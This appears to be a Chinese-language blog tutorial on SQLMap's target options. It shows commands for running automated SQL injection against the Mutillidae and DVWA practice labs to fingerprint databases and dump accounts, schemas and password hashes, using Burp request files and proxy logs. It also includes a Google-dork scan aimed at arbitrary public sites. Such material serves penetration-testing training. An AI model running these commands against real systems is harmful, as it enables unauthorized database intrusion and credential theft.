二十四、SQLMap自动注入-Target类

1、更新

kali已经集成了sqlmap,一般情况下,不需要进行下载,可以更新或者查看版本:

#sqlmap --version    //查看版本
#apt-get install git
#git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
#git pull  //在已有kali上更新为github上的版本
#sqlmap --update //在线更新,在debian系统上安装的包使用此命令

2、使用

2.1 -h选项

sqlmap -h/hh,查看常用/全部命令


target类包括选项

2.2 -u选项

使用Mutillidae的sql注入进行测试:

#sqlmap -u "192.168.50.183/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username -f
-p username 表示只检查此链接中的username是否存在sql注入漏洞
-f 表示fingerprint,指纹信息,即数据库的具体版本等信息

查看.sqlmap/可查看相关探测的结果


保存探测结果

2.3 常用参数

  • --user选项
sqlmap -u "192.168.50.183/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username --users
--users表示探测数据库账号
数据库账号
  • --banner 表示查看banner信息


    banner
  • --dbs 表示有包含哪些数据库


    包含哪些数据库
  • --schema 查询information schema元数据

  • --schema -a 查询所有数据库所有表
    当发现表中有hash值会提示是否需要暴力破解,可以根据密码表破解密码


    -a结果
  • -d 将sqlmap当做客户端工具探测

#sqlmap -d "mysql://user:[email protected]:3306/dvwa" -f --users
--banner --dbs --schema -a
#sqlmap -d "mysql://[email protected]:3306/dvwa" -f --users
--banner --dbs --schema -a
## sqlmap -d "mysql://root:@192.168.1.183:3306/dvwa" -f --users  //如果密码是空密码的话,有时需要加上冒号,否则会报语法错误
  • -m list.txt 将多个链接写入文件中扫描
#sqlmap -m list.txt --dbs
  • 扫描google搜索结果
sqlmap.py -g "inurl:\".php?id=1\""

2.4 POST方法

2.4.1 使用http请求文件

通过burpsuite将请求文件保存至post.txt,先打开burpsuite,将请求的报文复制,并用gedit编辑器打开空文件post.txt,粘贴进post.txt,然后使用sqlmap -r参数探测此文件中的链接:

1.burpsuite截包
2.gedit粘贴请求报文

第3步,使用sqlmap探测

# sqlmap -r post.txt  --dbs

2.4.2 使用burpsuite log文件

首先通过“user options”--->“Misc”--->“logging”,将proxy的request的勾选上,然后选择需要保存的文件名及位置,设置浏览器代理后访问页面:


burpsuite设置log

访问页面后,通过sqlmap -l,进行探测


burpsuite代理log文件
#sqlmap -l burpsqlmap.txt -p username   //执行burp的proxy代理log日志探测
2.4.3 ssl探测

使用--force-ssl选项,扫描探测https的链接

sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl

你可能感兴趣的:(二十四、SQLMap自动注入-Target类)